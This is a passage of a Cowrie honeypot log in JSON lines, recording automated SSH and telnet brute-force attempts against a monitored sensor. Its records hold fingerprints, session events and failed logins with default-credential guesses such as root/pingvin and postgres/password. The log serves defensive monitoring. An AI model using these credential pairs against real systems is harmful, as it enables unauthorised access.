","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:30.124205Z","src_ip":"192.109.200.237","session":"768ac2d209a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:30.373208Z","src_ip":"192.109.200.237","session":"768ac2d209a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:31.561878Z","src_ip":"192.109.200.237","session":"768ac2d209a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe85515c175","protocol":"ssh","message":"New connection: 103.173.227.57:47546 (10.17.0.5:22) [session: 2fe85515c175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.193798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.199553Z","src_ip":"103.173.227.57","session":"2fe85515c175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48410,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bdfa0fe8c05","protocol":"ssh","message":"New connection: 192.109.200.237:48410 (159.203.135.109:22) [session: 6bdfa0fe8c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.382193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.388952Z","src_ip":"192.109.200.237","session":"6bdfa0fe8c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.451308Z","src_ip":"103.173.227.57","session":"2fe85515c175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.471829Z","src_ip":"192.109.200.237","session":"6bdfa0fe8c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:33.726655Z","src_ip":"192.109.200.237","session":"6bdfa0fe8c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pingvin","message":"login attempt [root/pingvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:34.191636Z","src_ip":"103.173.227.57","session":"2fe85515c175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.91347408294678,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:34.337138Z","src_ip":"152.42.224.71","session":"bfe21f4daa87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:34.811673Z","src_ip":"192.109.200.237","session":"6bdfa0fe8c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:35.440584Z","src_ip":"103.173.227.57","session":"2fe85515c175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48414,"dst_ip":"159.203.135.109","dst_port":22,"session":"20edaf33a89d","protocol":"ssh","message":"New connection: 192.109.200.237:48414 (159.203.135.109:22) [session: 20edaf33a89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:36.782110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:36.786959Z","src_ip":"192.109.200.237","session":"20edaf33a89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:36.870367Z","src_ip":"192.109.200.237","session":"20edaf33a89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:37.239172Z","src_ip":"192.109.200.237","session":"20edaf33a89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43946,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dc4d3ba5372","protocol":"ssh","message":"New connection: 103.15.222.183:43946 (10.17.0.5:22) [session: 1dc4d3ba5372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:37.297243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:37.303242Z","src_ip":"103.15.222.183","session":"1dc4d3ba5372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:37.565834Z","src_ip":"103.15.222.183","session":"1dc4d3ba5372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:38.325715Z","src_ip":"192.109.200.237","session":"20edaf33a89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"greedisgood","message":"login attempt [root/greedisgood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:38.343255Z","src_ip":"103.15.222.183","session":"1dc4d3ba5372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:39.615813Z","src_ip":"103.15.222.183","session":"1dc4d3ba5372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47940,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea38657e9a7","protocol":"ssh","message":"New connection: 192.109.200.237:47940 (159.203.135.109:22) [session: 5ea38657e9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:40.382199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:40.387893Z","src_ip":"192.109.200.237","session":"5ea38657e9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:40.470337Z","src_ip":"192.109.200.237","session":"5ea38657e9a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:40.719906Z","src_ip":"192.109.200.237","session":"5ea38657e9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:41.805223Z","src_ip":"192.109.200.237","session":"5ea38657e9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47944,"dst_ip":"159.203.135.109","dst_port":22,"session":"929692b58190","protocol":"ssh","message":"New connection: 192.109.200.237:47944 (159.203.135.109:22) [session: 929692b58190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:43.591167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:43.596001Z","src_ip":"192.109.200.237","session":"929692b58190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:43.678252Z","src_ip":"192.109.200.237","session":"929692b58190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:43.928028Z","src_ip":"192.109.200.237","session":"929692b58190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:45.013459Z","src_ip":"192.109.200.237","session":"929692b58190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47948,"dst_ip":"159.203.135.109","dst_port":22,"session":"20cb1dbfb314","protocol":"ssh","message":"New connection: 192.109.200.237:47948 (159.203.135.109:22) [session: 20cb1dbfb314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:46.863928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:46.869114Z","src_ip":"192.109.200.237","session":"20cb1dbfb314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:46.951394Z","src_ip":"192.109.200.237","session":"20cb1dbfb314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:47.197086Z","src_ip":"192.109.200.237","session":"20cb1dbfb314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:48.283786Z","src_ip":"192.109.200.237","session":"20cb1dbfb314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35500,"dst_ip":"159.203.135.109","dst_port":22,"session":"74509361e928","protocol":"ssh","message":"New connection: 192.109.200.237:35500 (159.203.135.109:22) [session: 74509361e928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:50.376854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:50.381820Z","src_ip":"192.109.200.237","session":"74509361e928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:50.468838Z","src_ip":"192.109.200.237","session":"74509361e928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41386,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ea68b8c997","protocol":"telnet","message":"New connection: 152.42.224.71:41386 (10.17.0.5:23) [session: a3ea68b8c997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:50.536734Z"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:50.715469Z","src_ip":"192.109.200.237","session":"74509361e928","protocol":"ssh"}
